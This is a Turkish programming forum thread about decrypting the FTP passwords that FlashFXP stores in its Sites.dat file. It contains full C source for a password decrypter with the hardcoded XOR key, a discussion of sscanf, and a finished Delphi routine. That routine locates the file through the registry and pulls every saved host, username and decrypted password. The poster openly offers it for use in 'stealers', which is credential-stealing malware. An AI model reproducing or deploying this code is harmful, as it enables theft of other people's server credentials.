[C Coderlari Buraya ] Flashfxp Password Decrypter Yardim.
-
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define VER "0.2"
#define BUFFSZ 4096
#define USER "User="
#define PASS "Pass="
#ifndef WIN32
#define strnicmp strncasecmp
#endif
#ifndef u_char
#define u_char unsigned char
#endif
void flashfxp_pwddec(u_char *name, u_char *pwd);
void std_err(void);
int main(int argc, char *argv[]) {
FILE *fd;
u_char buff[BUFFSZ + 1],
name[BUFFSZ + 1],
user[BUFFSZ + 1],
*p;
setbuf(stdout, NULL);
fd = fopen("C:\\Documents and Settings\\All Users\\Application Data\\FlashFXP\\3\\Sites.dat", "rb");
if(!fd) std_err();
name[0] = 0;
while(fgets(buff, BUFFSZ, fd)) {
for(p = buff; *p && (*p != '\r') && (*p != '\n'); p++);
*p = 0;
if(*buff == '[') {
p = strrchr(buff, ']');
if(p) *p = 0;
strcpy(name, buff + 1);
} else if(!strnicmp(buff, USER, sizeof(USER) - 1)) {
strcpy(user, buff);
} else if(!strnicmp(buff, PASS, sizeof(PASS) - 1) && buff[sizeof(PASS) - 1]) {
flashfxp_pwddec(name, buff + sizeof(PASS) - 1);
printf("\n [%s]\n %s\n %s\n", name, user, buff);
}
}
fclose(fd);
fputs("\n Press RETURN to exit\n", stdout);
fgetc(stdin);
return(0);
}
void flashfxp_pwddec(u_char *name, u_char *pwd) {
u_char *enc,
*p;
int len,
old,
new;
old=0;
if(!strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3";
enc = name;
len = strlen(pwd) >> 1;
len--;
sscanf(pwd, "%02X", &old);
p = pwd;
pwd = pwd + 2;
while(len--) {
sscanf(pwd, "%02X", &new);
new ^= *enc++;
if(old >= new)
{
new=new-1;
}
*p = new - old;
p=p+1;
sscanf(pwd, "%02X", &old);
pwd = pwd + 2;
}
*p = 0;
}
void std_err(void) {
perror("\nError");
fputs("\n Press RETURN to exit\n", stdout);
fgetc(stdin);
exit(1);
}arkadaslar bu kodu delphiye cevirmek istiyorum...
_________________________________________
void flashfxp_pwddec(u_char *name, u_char *pwd) {
u_char *enc,
*p;
int len,
old,
new;
old=0;
if(!strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3";
enc = name;
len = strlen(pwd) >> 1;
len--;
sscanf(pwd, "%02X", &old);
p = pwd;
pwd = pwd + 2;
while(len--) {
sscanf(pwd, "%02X", &new);
new ^= *enc++;
if(old >= new)
{
new=new-1;
}
*p = new - old;
p=p+1;
sscanf(pwd, "%02X", &old);
pwd = pwd + 2;
}
*p = 0;
}
bu fonksiyonun yaptiği işi anlatabilirmisiniz?
sscanf --> bu fonksiyon ne işe yariyor. biraz aciklama yaparsaniz cok faydali olacak
simdiden tesekkürler.
-
Function flashfxp_pwddec(name:String;pwd:string):String;
var
enc:String;
p:Pointer;
len:integer;
old:integer;
new:integer;
BEGIN
IF POS('',name)=0 THEN
BEGIN
Name:='yA36zA48dEhfrvghGRg57h5UlDv3';
END;
Enc:=Name;
len:=Length(pwd) DIV 2;
IF LEN>0 THEN
DEC(LEN);
// sscanf(pwd, "%02X", &old);
p := @pwd[1];
pwd := COPY(pwd,2,length(pwd));
// while(len>0) DO
// BEGIN
// sscanf(pwd, "%02X", &new);
// new ^= *enc++;
// if(old >= new) THEN DEC(new);
// p := pointer(new - old);
// END;
Result:=Name;
END;
{
sscanf(pwd, "%02X", &old);
p = pwd;
pwd += 2;
while(len--) {
sscanf(pwd, "%02X", &new);
new ^= *enc++;
if(old >= new) new--;
*p++ = new - old;
sscanf(pwd, "%02X", &old);
pwd += 2;
if(!*enc) enc = name;
*p = 0;
}
-
hocam sscanf için bazı veriler buldum ama işine yarar inş .
------------1-----------
sscanf ,Verilen değişkenler için bilgisayar bafırında değerleri okur. Bafıra değer yazılması doğrudan sprintf ile yapılır.
Sscanf (Bafir, Format stringi, Adres Listesi);
sscanf in yapısı aynı scanf gibidir. Bafir değişkeni yine char tipinde bir pointer veya char tipinde bir dizi olarak tanımlanmalıdır.
#include
#include
char *bafir="12 38 45";
char char;
int x;
float y;
char string[20];
main( )
{
sscanf(bafir,"%c",&ch);
sscanf(bafir,"%d",&x);
sscanf(bafir,"%f",&y);
sscanf(bafir,"%s",&st);
printf ("karakter ==>%c"
"Integer ==>%d"
"float ==>%f"
"string ==>%s",ch,x,y,string);
}
/* Ekran çıktısı :ch için 1, x için 12, y için 12.00 ve st için 12*/
------------2-----------------
Bu fonksiyon okuyacağı bilgiyi, ilk parametresinde belirtilen karakter katarından alır. Fonksiyonun stdio.h başlık dosyasında yer alan prototip bildirimi şu şekildedir :
int sscanf (char *str, char *format, ...);
sscanf fonksiyonunun diğer scanf fonksiyonlarından tek farkı, okuma işlemini ilk parametresinde belirtilen (char *) türündeki nesneden yapmasıdır. Biçimlendirme ifadesi, yine scanf ve fscanf fonksiyonlarında olduğu gibi okunan bilginin nasıl yorumlanacağını belirtir. Diğer parametreler ise bilgilerin aktarılacağı göstericilerdir.
#include
int main ()
{
char *str = "12 Aralik 1945";
int gun, yil;
char ay[20];
sscanf(str,"%d %s %d",&gun,ay,&yil);
printf("%d ",gun);
printf("%s ",ay);
printf("%d \n",yil);
return 0;
}
Bu örnekte de (char *) türünden bir göstericide tutulan tarih bilgisini sscanf fonksiyonu ile okuyarak gun, yil ve ay isimli nesnelere atadık.
-
sscanf yi ben bizzat derleyici ile
debug ettim isleme girmeden önceki pwd değeri ile işlemden cikan pwd değer birbirine eşit
ancak new değişkenin gösterdiği adres işleme girmeden önce 0
işlemden cıkınca 89 oluyor
sscanf nin tam olarak ne yaptiğni anlamiş değilim
yoksa çoktan bitirmiştim bunu
printf("%s",pwd);
sscanf(pwd, "%02X", &new);
printf("%s",pwd);
-
Hocam biraz daha araştırdım sscanf fonksiyonu scanf 'i string için yapıyor mesela kelime içindeki boşlukları varsa onlarıda atmayıp olduğu gibi alıp kelimeleri okumaya yarayan bir fonksiyonmuş farklı özellikleride var deniyo ama ne old. yazmıyo nettede :| bi C kitabı vardı ondada elle tutulur bişi yazmıyo farklı bi örnek daha buldum yardımcı olmaz belki ama yinede incele istersen.
----
HAFIZADA.C:
================================================================
main()
{
int rakam[5], sonuc[5], index;
char satir[80];
rakam[0] = 5;
rakam[1] = 10;
rakam[2] = 15;
rakam[3] = 20;
rakam[4] = 25;
sprintf(satir,"%d %d %d %d %d\n",rakam[0],rakam[1],
rakam[2],rakam[3],rakam[4]);
printf("%s",satir);
sscanf(satir,"%d %d %d %d %d",&sonuc[4],&sonuc[3],
(sonuc+2),(sonuc+1),sonuc);
for (index = 0;index < 5;index++)
printf("Sonuc %d dir. \n",sonuc[index]);
}
================================================================
Bu programda, birkac tane degisken tanimliyoruz, ve "rakamlar" isimli diziye de, "sprintf" fonksiyonunu incelemek icin rastgele sayilar atiyoruz. Bu fonksiyon, "printf" e cok benzer. Yegane farki, ciktisini ekrana yazmak yerine, bir karakter dizisine yazmasidir. Bunu da, ilk parametresi olarak veriyoruz. Yani program bu fonksiyondan dondukten sonra, "satir" dizisinin icinde, bes tane rakam olacaktir. Ikinci ile ucuncu rakamlar arasindaki bosluk, "sscanf" fonksiyonunun bunlarin
uzerinden atlamasini gormek icindir.
Bunun altinda "printf" i kullanarak bu hazirladigimiz satiri yaziyoruz. Daha sonra gordugunuz, "sscanf" fonksiyonu ise, "scanf" gibi ekrandan okumak yerine, bizim "satir" dizimizden degerleri okur. Gordugunuz gibi, "sscanf" e rakamlarin konacagi dizinin adreslerini cok degisik sekillerde
verebiliyoruz. Ilk ikisi, sadece dizideki 5. ve 4. elemanlarin adreslerini index vererek tanimliyorlar, sonraki ikisi ise, dizinin baslangic adresine bir offset (bir rakam) ekleyerek buluyorlar. Sonuncusu ise, koseli parantezi olmayan bir dizinin, o dizinin baslangic elemaninin adresini gostereceginden, hicbir sey gerektirmiyor.
Bazen, bir programin ciktilarini, standart ciktidan (ekrandan), bir baska kutuge yoneltmek istenir. Fakat, hata mesajlarini gibi bazi mesajlari hala ekrana yollamak isteyebilirsiniz:
-
TXT Tesekkürler ben tamamladim :p
FLASH FXP Password Decrypter.
sizde kendi yazdığınız stealerlarda kullanabilirsiniz.
unit Unit1;interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, Buttons, ImgList, PngImageList;type
TForm1 = class(TForm)
ListView1: TListView;
BitBtn1: TBitBtn;
Label1: TLabel;
PngImageList1: TPngImageList;
procedure BitBtn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation
{$R *.dfm}
function GetClave(key:Hkey; subkey,nombre:String):String;
var
bytesread:dword;
regKey: HKEY;
valor:String;
begin
RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
SetLength(valor, bytesread);
if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
result:=valor;
RegCloseKey(regKey);
end;
Function HexToStr(s: String): String;
var
i: Integer;
begin
Result:=''; i:=1;
While i<Length(s) Do
Begin
Result:=Result+Chr(StrToIntDef('$'+Copy(s,i,2),0));
Inc(i,2);
End;
End;
function ConvertFileToString(const DosyaAdi: string): string;
var
Dosya: FILE;
begin
FileMode := 0;
AssignFile(Dosya, DosyaAdi);
{$I-}Reset(Dosya, 1);{$I+}
{$I-}SetLength(result, FileSize(Dosya));{$I+}
{$I-}BlockRead(Dosya, result[1], FileSize(Dosya));{$I+}
{$I-}CloseFile(Dosya);{$I+}
end;Function Environ(Macro: String): String;
var
Size : Cardinal;
Output : Array[0..MAX_PATH] of Char;
Begin
Result := '';
FillChar(Output, SizeOf(Output), #0);
Size := SizeOf(Output);
GetEnvironmentVariable(PChar(Macro), Output, Size);
Result:=Output;
End;function StrToHex(AStr: string): string;
var
I ,Len: Integer;
s:char;
begin
len:=length(AStr);
Result:='';
for i:=1 to len do
begin
s:=AStr[i];
Result:=Result + ' ' +IntToHex(Ord(s),2);
end;
Delete(Result,1,1);
end;
Function DecryptFlashFxpPwd(InputStr:String):String;
var
MagicArray:Array[1..28] OF String;
strPw:String;
pwchar:Longword;
magicNum:Longword;
toxor:LongWord;
XORWert:Integer;
ArrNum:Integer;
i:Integer;
j:integer;
t1,t2:Longword;
Begin
MagicArray[1] := '79';
MagicArray[2] := '41';
MagicArray[3] := '33';
MagicArray[4] := '36';
MagicArray[5] := '7A';
MagicArray[6] := '41';
MagicArray[7] := '34';
MagicArray[8] := '38';
MagicArray[9] := '64';
MagicArray[10] := '45';
MagicArray[11] := '68';
MagicArray[12] := '66';
MagicArray[13] := '72';
MagicArray[14] := '76';
MagicArray[15] := '67';
MagicArray[16] := '68';
MagicArray[17] := '47';
MagicArray[18] := '52';
MagicArray[19] := '67';
MagicArray[20] := '35';
MagicArray[21] := '37';
MagicArray[22] := '68';
MagicArray[23] := '35';
MagicArray[24] := '55';
MagicArray[25] := '6C';
MagicArray[26] := '44';
MagicArray[27] := '76';
MagicArray[28] := '33';
strPw := InputStr;
magicNum :=strToInt('$' + Copy(strPw, 1, 2));
ArrNum := 1;
i:=3;
while(i<Length(strPw)) Do
Begin
If I > 28 Then ArrNum := I - 28 + 1;pwchar := strToInt('$' + Copy(strPw, i, 2));
toxor := strToInt('$' + MagicArray[ArrNum]);
If ArrNum > 1 Then
Begin
XORWert := (pwchar Xor toxor) - strToInt('$' + Copy(strPw, I - 2, 2));
END
Else
Begin
XORWert := (pwchar Xor toxor) - magicNum
End;
If XORWert < 0 Then
Begin
t1 := XORWert;
t2 := $FFFFFF01;
XORWert := t1 - t2;
End;ArrNum := ArrNum + 1;
Result := Result + Chr(XORWert);
inc(i,2);
End;
End;Function GetFLashFxpPAsswords:String;
var
FilePath:String;
FileData:String;
RetData:String;
TempStr:String;xLabel:String;
xProxy:String;
xIP:String;
xUser:String;
xPass:String;
xPort:String;
xDsl:String;
xUsl:String;xParser:String;
Begin
FilePath:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\FlashFXP\3','InstallerDathPath');
FilePath:=Pchar(FilePath) + '\sites.dat';
IF FileExists(FilePath)=False Then Exit; // FlashFxp Not Installed
FileData:=ConvertFileToString(FilePath);
TempStr:=FileData;
xParser:=HexToStr('0D0A');
While(Pos('Default Sites',TempStr)>0) Do
Begin
Delete(TempStr,1,POS(HexToStr('0D0A0D0A'),TempStr));
End;
FileData:=TempStr;
While Pos('USL',FileData)>0 Do
Begin
xLabel:=Copy(FileData,Pos('[',FileData),Pos(']',FileData)-2);
Delete(FileData,1,Pos('Proxy',FileData)-1);
xLabel:=Copy(xLabel,Pos('[',xLabel)+1,Pos(']',xLabel)-2);
xProxy:=Copy(FileData,Pos('=',FileData)+1,POS(xParser,FileData)-5);
Delete(FileData,1,Pos(xParser,FileData));
xIP:=Copy(FileData,Pos('IP=',FileData)+3,POS(xParser,FileData)-3);
Delete(FileData,1,Pos(xParser,FileData));
xUser:=Copy(FileData,Pos('User=',FileData)+7,POS(xParser,FileData)-5);
Delete(FileData,1,Pos(xParser,FileData));
xPass:=DecryptFlashFxpPwd(Copy(FileData,Pos('Pass=',FileData)+7,POS(xParser,FileData)-7));
Delete(FileData,1,Pos(xParser,FileData));
xPort:=Copy(FileData,Pos('Port=',FileData)+7,POS(xParser,FileData)-5);
Delete(FileData,1,Pos(xParser,FileData));
xDsl:=Copy(FileData,Pos('DSL=',FileData)+4,POS(xParser,FileData)-5);
Delete(FileData,1,Pos(xParser,FileData));
xUsl:=Copy(FileData,Pos('USL=',FileData)+4,POS(xParser,FileData)-5);
Delete(FileData,1,Pos(xParser,FileData));
RetData:=RetData+ xLabel +'|'+xProxy +'|'+ xIP +'|' + xUser +'|' + xPass +'|' + xPort +'|' + xDsl +'|' + xUsl +'|';
xLabel:='';
xProxy:='';
xIP:='';
xUser:='';
xPass:='';
xPort:='';
xDsl:='';
xUsl:='';
End;
Result:=RetData;
End;procedure TForm1.BitBtn1Click(Sender: TObject);
VAR
ITEM:TLISTITEM;
TempStr:String;
xCounter:Integer;
beginTempStr:=GetFLashFxpPAsswords;
While(Pos('|',Pchar(TempsTr))>0) Do
Begin
Item:=Listview1.Items.Add;
Item.ImageIndex:=0;
Item.Caption:=Copy(Tempstr,1,Pos('|',TempStr)-1);
DELETE(TempStr,1,Pos('|',TempStr));For xCounter:=1 to 7 DO
BEGIN
Item.SubItems.Add(Copy(Tempstr,1,Pos('|',TempStr)-1));
DELETE(TempStr,1,Pos('|',TempStr));
END;End;
end;
end.Iyi günler...
-
Hayırlı olsun hocam :)
-
yüreğinin güzel olduğuna inandığım için editledim bu yazıyı..
-
bunlara gerek yok , connectleri backup yapıp bağlanıp url kopyala deyip, yapıştırınca passwordu kendi decrytp ediyo zaten :')
